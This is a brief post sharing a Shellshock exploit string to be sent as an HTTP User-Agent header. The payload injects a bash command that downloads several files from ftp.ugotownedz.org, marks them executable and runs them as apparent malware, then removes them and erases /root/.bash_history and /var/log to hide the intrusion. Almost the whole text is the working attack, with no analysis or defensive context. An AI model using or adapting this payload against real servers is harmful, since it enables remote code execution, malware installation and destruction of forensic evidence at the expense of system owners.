A nice little User-Agent header script I found...

User-Agent

() { :;};
/bin/bash -c \x22mkdir /var/.udp;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
wget ftp://ftp.ugotownedz.org/Xorg -O /var/.udp/Xorg;
curl -o /var/.udp/Xorg ftp://ftp.ugotownedz.org/Xorg;GET ftp://ftp.ugotownedz.org/Xorg;fetch ftp://ftp.ugotownedz.org/Xorg;
lwp-download ftp://ftp.ugotownedz.org/Xorg;
chmod +x /var/.udp/Xorg;
chmod +x Xorg;
perl /var/.udp/Xorg;
rm -rf /var/.udp/Xorg*;
rm -rf Xorg*;
wget ftp://ftp.ugotownedz.org/upfile2.sh -O /tmp/upfile2.sh;
wget ftp://ftp.ugotownedz.org/upfile2.sh -O /tmp/upfile2.sh;
curl -o /tmp/upfile2.sh ftp://ftp.ugotownedz.org/upfile2.sh;GET ftp://ftp.ugotownedz.org/upfile2.sh;fetch ftp://ftp.ugotownedz.org/upfile2.sh;
lwp-download ftp://ftp.ugotownedz.org/upfile2.sh;
chmod +x /tmp/upfile2.sh;
chmod +x upfile2.sh;sh /tmp/upfile2.sh ftp.ugotownedz.org ;
rm -rf /tmp/upfile2.sh*;
rm -rf upfile2.sh*;
wget ftp://ftp.ugotownedz.org/decriss2 -O /tmp/decriss2;
wget ftp://ftp.ugotownedz.org/decriss2 -O /tmp/decriss2;
curl -o /tmp/decriss2 ftp://ftp.ugotownedz.org/decriss2;GET ftp://ftp.ugotownedz.org/decriss2;fetch ftp://ftp.ugotownedz.org/decriss2;
lwp-download ftp://ftp.ugotownedz.org/decriss2;
chmod +x /tmp/decriss2;
chmod +x decriss2;
sh /tmp/decriss2 ;
wget ftp://ftp.ugotownedz.org/update -O /tmp/update;
sh /tmp/update ; rm -rf /tmp/update;
rm -rf /tmp/decriss2*;
rm -rf decriss2*; 
rm -rf /root/.bash_history; 
rm -rf /var/log/*\x22